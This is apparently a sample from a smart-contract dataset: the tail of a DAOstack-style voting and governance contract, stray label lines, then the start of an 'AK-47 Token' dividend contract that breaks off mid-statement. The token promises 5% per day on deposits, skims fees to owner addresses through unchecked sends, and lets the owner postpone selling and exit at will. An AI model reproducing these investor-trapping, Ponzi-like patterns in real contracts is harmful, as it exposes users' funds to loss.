_params[2], preBoostedVotePeriodLimit: _params[3], thresholdConst:uint216(_params[4]).fraction(uint216(1000)), limitExponentValue:limitExponent, quietEndingPeriod: _params[5], proposingRepReward: _params[6], votersReputationLossRatio:_params[7], minimumDaoBounty:_params[8], daoBountyConst:_params[9], activationTime:_params[10], voteOnBehalf:_voteOnBehalf }); return paramsHash; } function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) { Proposal storage proposal = proposals[_proposalId]; require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue), "Proposal should be Executed or ExpiredInQueue"); Parameters memory params = parameters[proposal.paramsHash]; uint256 lostReputation; if (proposal.winningVote == YES) { lostReputation = proposal.preBoostedVotes[NO]; } else { lostReputation = proposal.preBoostedVotes[YES]; } lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100; Staker storage staker = proposal.stakers[_beneficiary]; if (staker.amount > 0) { if (proposal.state == ProposalState.ExpiredInQueue) { rewards[0] = staker.amount; } else if (staker.vote == proposal.winningVote) { uint256 totalWinningStakes = proposal.stakes[proposal.winningVote]; uint256 totalStakes = proposal.stakes[YES].add(proposal.stakes[NO]); if (staker.vote == YES) { uint256 _totalStakes = ((totalStakes.mul(100 - proposal.expirationCallBountyPercentage))/100) - proposal.daoBounty; rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes; } else { rewards[0] = (staker.amount.mul(totalStakes))/totalWinningStakes; if (organizations[proposal.organizationId] == _beneficiary) { rewards[0] = rewards[0].sub(proposal.daoBounty); } } } staker.amount = 0; } Voter storage voter = proposal.voters[_beneficiary]; if ((voter.reputation != 0) && (voter.preBoosted)) { if (proposal.state == ProposalState.ExpiredInQueue) { rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100); } else if (proposal.winningVote == voter.vote) { uint256 preBoostedVotes = proposal.preBoostedVotes[YES].add(proposal.preBoostedVotes[NO]); rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100) .add((voter.reputation.mul(lostReputation))/preBoostedVotes); } voter.reputation = 0; } if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) { rewards[2] = params.proposingRepReward; proposal.proposer = address(0); } if (rewards[0] != 0) { proposal.totalStakes = proposal.totalStakes.sub(rewards[0]); require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed"); emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]); } if (rewards[1].add(rewards[2]) != 0) { VotingMachineCallbacksInterface(proposal.callbacks) .mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId); emit RedeemReputation( _proposalId, organizations[proposal.organizationId], _beneficiary, rewards[1].add(rewards[2]) ); } } function redeemDaoBounty(bytes32 _proposalId, address _beneficiary) public returns(uint256 redeemedAmount, uint256 potentialAmount) { Proposal storage proposal = proposals[_proposalId]; require(proposal.state == ProposalState.Executed); uint256 totalWinningStakes = proposal.stakes[proposal.winningVote]; Staker storage staker = proposal.stakers[_beneficiary]; if ( (staker.amount4Bounty > 0)&& (staker.vote == proposal.winningVote)&& (proposal.winningVote == YES)&& (totalWinningStakes != 0)) { potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes; } if ((potentialAmount != 0)&& (VotingMachineCallbacksInterface(proposal.callbacks) .balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) { staker.amount4Bounty = 0; proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount); require( VotingMachineCallbacksInterface(proposal.callbacks) .stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId)); redeemedAmount = potentialAmount; emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount); } } function shouldBoost(bytes32 _proposalId) public view returns(bool) { Proposal memory proposal = proposals[_proposalId]; return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId)); } function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) { uint256 power = orgBoostedProposalsCnt[_organizationId]; Parameters storage params = parameters[_paramsHash]; if (power > params.limitExponentValue) { power = params.limitExponentValue; } return params.thresholdConst.pow(power); } function getParametersHash( uint[11] memory _params, address _voteOnBehalf ) public pure returns(bytes32) { return keccak256( abi.encodePacked( keccak256( abi.encodePacked( _params[0], _params[1], _params[2], _params[3], _params[4], _params[5], _params[6], _params[7], _params[8], _params[9], _params[10]) ), _voteOnBehalf )); } function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) { Proposal storage proposal = proposals[_proposalId]; Parameters memory params = parameters[proposal.paramsHash]; Proposal memory tmpProposal = proposal; uint256 totalReputation = VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId); uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage; ExecutionState executionState = ExecutionState.None; uint256 averageDownstakesOfBoosted; uint256 confidenceThreshold; if (proposal.votes[proposal.winningVote] > executionBar) { if (proposal.state == ProposalState.Queued) { executionState = ExecutionState.QueueBarCrossed; } else if (proposal.state == ProposalState.PreBoosted) { executionState = ExecutionState.PreBoostedBarCrossed; } else { executionState = ExecutionState.BoostedBarCrossed; } proposal.state = ProposalState.Executed; } else { if (proposal.state == ProposalState.Queued) { if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) { proposal.state = ProposalState.ExpiredInQueue; proposal.winningVote = NO; executionState = ExecutionState.QueueTimeOut; } else { confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId); if (_score(_proposalId) > confidenceThreshold) { proposal.state = ProposalState.PreBoosted; proposal.times[2] = now; proposal.confidenceThreshold = confidenceThreshold; } } } if (proposal.state == ProposalState.PreBoosted) { confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId); if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) { if ((_score(_proposalId) > confidenceThreshold) && (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) { proposal.state = ProposalState.Boosted; proposal.times[1] = now; orgBoostedProposalsCnt[proposal.organizationId]++; averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId]; averagesDownstakesOfBoosted[proposal.organizationId] = uint256(int256(averageDownstakesOfBoosted) + ((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/ int256(orgBoostedProposalsCnt[proposal.organizationId]))); } } else { uint256 proposalScore = _score(_proposalId); if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) { proposal.state = ProposalState.Queued; } else if (proposal.confidenceThreshold > proposalScore) { proposal.confidenceThreshold = confidenceThreshold; } } } } if ((proposal.state == ProposalState.Boosted) || (proposal.state == ProposalState.QuietEndingPeriod)) { if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) { proposal.state = ProposalState.Executed; executionState = ExecutionState.BoostedTimeOut; } } if (executionState != ExecutionState.None) { if ((executionState == ExecutionState.BoostedTimeOut) || (executionState == ExecutionState.BoostedBarCrossed)) { orgBoostedProposalsCnt[tmpProposal.organizationId] = orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1); uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId]; if (boostedProposals == 0) { averagesDownstakesOfBoosted[proposal.organizationId] = 0; } else { averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId]; averagesDownstakesOfBoosted[proposal.organizationId] = (averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals; } } emit ExecuteProposal( _proposalId, organizations[proposal.organizationId], proposal.winningVote, totalReputation ); emit GPExecuteProposal(_proposalId, executionState); ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote)); proposal.daoBounty = proposal.daoBountyRemain; } if (tmpProposal.state != proposal.state) { emit StateChange(_proposalId, proposal.state); } return (executionState != ExecutionState.None); } function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) { require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value"); require(_amount > 0, "staking amount should be >0"); if (_execute(_proposalId)) { return true; } Proposal storage proposal = proposals[_proposalId]; if ((proposal.state != ProposalState.PreBoosted) && (proposal.state != ProposalState.Queued)) { return false; } Staker storage staker = proposal.stakers[_staker]; if ((staker.amount > 0) && (staker.vote != _vote)) { return false; } uint256 amount = _amount; require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker"); proposal.totalStakes = proposal.totalStakes.add(amount); staker.amount = staker.amount.add(amount); require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high"); require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high"); if (_vote == YES) { staker.amount4Bounty = staker.amount4Bounty.add(amount); } staker.vote = _vote; proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]); emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount); return _execute(_proposalId); } function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) { require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2"); if (_execute(_proposalId)) { return true; } Parameters memory params = parameters[proposals[_proposalId].paramsHash]; Proposal storage proposal = proposals[_proposalId]; uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId); require(reputation > 0, "_voter must have reputation"); require(reputation >= _rep, "reputation >= _rep"); uint256 rep = _rep; if (rep == 0) { rep = reputation; } if (proposal.voters[_voter].reputation != 0) { return false; } proposal.votes[_vote] = rep.add(proposal.votes[_vote]); if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) || ((proposal.votes[NO] == proposal.votes[proposal.winningVote]) && proposal.winningVote == YES)) { if (proposal.state == ProposalState.Boosted && ((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))|| proposal.state == ProposalState.QuietEndingPeriod) { if (proposal.state != ProposalState.QuietEndingPeriod) { proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod; proposal.state = ProposalState.QuietEndingPeriod; } proposal.times[1] = now; } proposal.winningVote = _vote; } proposal.voters[_voter] = Voter({ reputation: rep, vote: _vote, preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) }); if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) { proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]); uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100; VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId); } emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep); return _execute(_proposalId); } function _score(bytes32 _proposalId) internal view returns(uint256) { Proposal storage proposal = proposals[_proposalId]; return proposal.stakes[YES]/proposal.stakes[NO]; } function _isVotable(bytes32 _proposalId) internal view returns(bool) { ProposalState pState = proposals[_proposalId].state; return ((pState == ProposalState.PreBoosted)|| (pState == ProposalState.Boosted)|| (pState == ProposalState.QuietEndingPeriod)|| (pState == ProposalState.Queued) ); } } contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic { using ECDSA for bytes32; bytes32 public constant DELEGATION_HASH_EIP712 = keccak256(abi.encodePacked( "address GenesisProtocolAddress", "bytes32 ProposalId", "uint256 Vote", "uint256 AmountToStake", "uint256 Nonce" )); mapping(address=>uint256) public stakesNonce; constructor(IERC20 _stakingToken) public GenesisProtocolLogic(_stakingToken) { } function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) { return _stake(_proposalId, _vote, _amount, msg.sender); } function stakeWithSignature( bytes32 _proposalId, uint256 _vote, uint256 _amount, uint256 _nonce, uint256 _signatureType, bytes calldata _signature ) external returns(bool) { bytes32 delegationDigest; if (_signatureType == 2) { delegationDigest = keccak256( abi.encodePacked( DELEGATION_HASH_EIP712, keccak256( abi.encodePacked( address(this), _proposalId, _vote, _amount, _nonce) ) ) ); } else { delegationDigest = keccak256( abi.encodePacked( address(this), _proposalId, _vote, _amount, _nonce) ).toEthSignedMessageHash(); } address staker = delegationDigest.recover(_signature); require(staker != address(0), "staker address cannot be 0"); require(stakesNonce[staker] == _nonce); stakesNonce[staker] = stakesNonce[staker].add(1); return _stake(_proposalId, _vote, _amount, staker); } function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter) external votable(_proposalId) returns(bool) { Proposal storage proposal = proposals[_proposalId]; Parameters memory params = parameters[proposal.paramsHash]; address voter; if (params.voteOnBehalf != address(0)) { require(msg.sender == params.voteOnBehalf); voter = _voter; } else { voter = msg.sender; } return internalVote(_proposalId, voter, _vote, _amount); } function cancelVote(bytes32 _proposalId) external votable(_proposalId) { return; } function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) { return _execute(_proposalId); } function getNumberOfChoices(bytes32) external view returns(uint256) { return NUM_OF_CHOICES; } function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) { return proposals[_proposalId].times; } function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) { Voter memory voter = proposals[_proposalId].voters[_voter]; return (voter.vote, voter.reputation); } function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) { return proposals[_proposalId].votes[_choice]; } function isVotable(bytes32 _proposalId) external view returns(bool) { return _isVotable(_proposalId); } function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) { return ( proposals[_proposalId].preBoostedVotes[YES], proposals[_proposalId].preBoostedVotes[NO], proposals[_proposalId].stakes[YES], proposals[_proposalId].stakes[NO] ); } function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) { return (proposals[_proposalId].organizationId); } function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) { return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount); } function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) { return proposals[_proposalId].stakes[_vote]; } function winningVote(bytes32 _proposalId) external view returns(uint256) { return proposals[_proposalId].winningVote; } function state(bytes32 _proposalId) external view returns(ProposalState) { return proposals[_proposalId].state; } function isAbstainAllow() external pure returns(bool) { return false; } function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) { return (YES, NO); } function score(bytes32 _proposalId) public view returns(uint256) { return _score(_proposalId); } } contract VotingMachineCallbacks is VotingMachineCallbacksInterface { struct ProposalInfo { uint256 blockNumber; Avatar avatar; } modifier onlyVotingMachine(bytes32 _proposalId) { require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine"); _; } mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo; function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external onlyVotingMachine(_proposalId) returns(bool) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (avatar == Avatar(0)) { return false; } return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar)); } function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external onlyVotingMachine(_proposalId) returns(bool) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (avatar == Avatar(0)) { return false; } return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar)); } function stakingTokenTransfer( IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId) external onlyVotingMachine(_proposalId) returns(bool) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (avatar == Avatar(0)) { return false; } return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar); } function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) { return 0; } return _stakingToken.balanceOf(address(avatar)); } function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) { ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId]; if (proposal.avatar == Avatar(0)) { return 0; } return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber); } function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) { ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId]; if (proposal.avatar == Avatar(0)) { return 0; } return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber); } } contract GenericScheme is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface { event NewCallProposal( address indexed _avatar, bytes32 indexed _proposalId, bytes _callData, string _descriptionHash ); event ProposalExecuted( address indexed _avatar, bytes32 indexed _proposalId, bytes _genericCallReturnValue ); event ProposalExecutedByVotingMachine( address indexed _avatar, bytes32 indexed _proposalId, int256 _param ); event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId); struct CallProposal { bytes callData; bool exist; bool passed; } mapping(address=>mapping(bytes32=>CallProposal)) public organizationsProposals; struct Parameters { IntVoteInterface intVote; bytes32 voteParams; address contractToCall; } mapping(bytes32=>Parameters) public parameters; function executeProposal(bytes32 _proposalId, int256 _decision) external onlyVotingMachine(_proposalId) returns(bool) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId]; require(proposal.exist, "must be a live proposal"); require(proposal.passed == false, "cannot execute twice"); if (_decision == 1) { proposal.passed = true; execute(avatar, _proposalId); } else { delete organizationsProposals[address(avatar)][_proposalId]; emit ProposalDeleted(address(avatar), _proposalId); } emit ProposalExecutedByVotingMachine(address(avatar), _proposalId, _decision); return true; } function execute(Avatar _avatar, bytes32 _proposalId) public { Parameters memory params = parameters[getParametersFromController(_avatar)]; CallProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId]; require(proposal.exist, "must be a live proposal"); require(proposal.passed, "proposal must passed by voting machine"); proposal.exist = false; bytes memory genericCallReturnValue; bool success; ControllerInterface controller = ControllerInterface(_avatar.owner()); (success, genericCallReturnValue) = controller.genericCall(params.contractToCall, proposal.callData, _avatar); if (success) { delete organizationsProposals[address(_avatar)][_proposalId]; emit ProposalDeleted(address(_avatar), _proposalId); emit ProposalExecuted(address(_avatar), _proposalId, genericCallReturnValue); } else { proposal.exist = true; } } function setParameters( bytes32 _voteParams, IntVoteInterface _intVote, address _contractToCall ) public returns(bytes32) { bytes32 paramsHash = getParametersHash(_voteParams, _intVote, _contractToCall); parameters[paramsHash].voteParams = _voteParams; parameters[paramsHash].intVote = _intVote; parameters[paramsHash].contractToCall = _contractToCall; return paramsHash; } function getParametersHash( bytes32 _voteParams, IntVoteInterface _intVote, address _contractToCall ) public pure returns(bytes32) { return keccak256(abi.encodePacked(_voteParams, _intVote, _contractToCall)); } function proposeCall(Avatar _avatar, bytes memory _callData, string memory _descriptionHash) public returns(bytes32) { Parameters memory params = parameters[getParametersFromController(_avatar)]; IntVoteInterface intVote = params.intVote; bytes32 proposalId = intVote.propose(2, params.voteParams, msg.sender, address(_avatar)); organizationsProposals[address(_avatar)][proposalId] = CallProposal({ callData: _callData, exist: true, passed: false }); proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({ blockNumber:block.number, avatar:_avatar }); emit NewCallProposal(address(_avatar), proposalId, _callData, _descriptionHash); return proposalId; } function getContractToCall(Avatar _avatar) public view returns(address) { return parameters[getParametersFromController(_avatar)].contractToCall; } }
0
741
pragma solidity ^0.4.25; contract AK_47_Token { using SafeMath for uint; struct Investor { uint deposit; uint paymentTime; uint claim; } modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } modifier antiEarlyWhale { if (address(this).balance -msg.value < whaleBalanceLimit){ require(msg.value <= maxEarlyStake); } _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier startOK() { require(isStarted()); _; } modifier isOpened() { require(isPortalOpened()); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); event OnWithdraw(address indexed addr, uint withdrawal, uint time); string public name = "AK-47 Token"; string public symbol = "AK-47"; uint8 constant public decimals = 18; uint8 constant internal exitFee_ = 10; uint8 constant internal refferalFee_ = 25; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 10e18; uint256 public maxEarlyStake = 5 ether; uint256 public whaleBalanceLimit = 100 ether; uint256 public startTime = 0; bool public startCalled = false; uint256 public openTime = 0; bool public PortalOpen = false; mapping (address => Investor) public investors; mapping (address => uint256) internal tokenBalanceLedger_; mapping (address => uint256) internal referralBalance_; mapping (address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; uint256 public depositCount_; uint public investmentsNumber; uint public investorsNumber; address public AdminAddress; address public PromotionalAddress; address public owner; event OnNewInvestor(address indexed addr, uint time); event OnInvesment(address indexed addr, uint deposit, uint time); event OnDeleteInvestor(address indexed addr, uint time); event OnClaim(address indexed addr, uint claim, uint time); event theFaucetIsDry(uint time); event balancesosmall(uint time); constructor () public { owner = msg.sender; AdminAddress = msg.sender; PromotionalAddress = msg.sender; } function setStartTime(uint256 _startTime) public { require(msg.sender==owner && !isStarted() && now < _startTime && !startCalled); require(_startTime > now); startTime = _startTime; startCalled = true; } function setOpenPortalTime(uint256 _openTime) public { require(msg.sender==owner); require(_openTime > now); openTime = _openTime; PortalOpen = true; } function setFeesAdress(uint n, address addr) public onlyOwner { require(n >= 1 && n <= 2, "invalid number of fee`s address"); if (n == 1) { AdminAddress = addr; } else if (n == 2) { PromotionalAddress = addr; } } function buy(address referredBy) antiEarlyWhale startOK public payable returns (uint256) { uint depositAmount = msg.value; AdminAddress.send(depositAmount * 5 / 100); PromotionalAddress.send(depositAmount * 5 / 100); address investorAddr = msg.sender; Investor storage investor = investors[investorAddr]; if (investor.deposit == 0) { investorsNumber++; emit OnNewInvestor(investorAddr, now); } investor.deposit += depositAmount; investor.paymentTime = now; investmentsNumber++; emit OnInvesment(investorAddr, depositAmount, now); purchaseTokens(msg.value, referredBy, msg.sender); } function purchaseFor(address _referredBy, address _customerAddress) antiEarlyWhale startOK public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , _customerAddress); } function() external payable { if (msg.value == 0) { exit(); } else if (msg.value == 0.01 ether) { reinvest(); } else if (msg.value == 0.001 ether) { withdraw(); } else if (msg.value == 0.0001 ether) { faucet(); } else { buy(bytes2address(msg.data)); } } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() isOpened public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders isOpened public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } return transferInternal(_toAddress,_amountOfTokens,_customerAddress); } function transferInternal(address _toAddress, uint256 _amountOfTokens , address _fromAddress) internal returns (bool) { address _customerAddress = _fromAddress; tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); emit Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function FaucetForInvestor(address investorAddr) public view returns(uint forClaim) { return getFaucet(investorAddr); } function faucet() onlyBagholders public { address investorAddr = msg.sender; uint forClaim = getFaucet(investorAddr); require(forClaim > 0, "cannot claim zero eth"); require(address(this).balance > 0, "fund is empty"); uint claim = forClaim; if (address(this).balance <= claim) { emit theFaucetIsDry(now); claim = address(this).balance.div(10).mul(9); } Investor storage investor = investors[investorAddr]; uint totalclaim = claim + investor.claim; if (claim > forClaim) { claim = forClaim; } investor.claim += claim; investor.paymentTime = now; investorAddr.transfer(claim); emit OnClaim(investorAddr, claim, now); } function getFaucet(address investorAddr) internal view returns(uint forClaim) { Investor storage investor = investors[investorAddr]; if (investor.deposit == 0) { return (0); } uint HoldDays = now.sub(investor.paymentTime).div(24 hours); forClaim = HoldDays * investor.deposit * 5 / 100; } function bytes2address(bytes memory source) internal pure returns(address addr) { assembly { addr := mload(add(source, 0x14)) } return addr; } function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee()), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); return _ethereum; } function entryFee() public view returns (uint8){ uint256 volume = address(this).balance - msg.value; if (volume<=10 ether){ return 17; } if (volume<=25 ether){ return 20; } if (volume<=50 ether){ return 17; } if (volume<=100 ether){ return 14; } if (volume<=250 ether){ return 11; } return 10; } function isStarted() public view returns (bool) { return startTime!=0 && now > startTime; } function isPortalOpened() public view returns (bool) { return openTime!=0 && now > openTime; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) { uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee()), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if (_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = 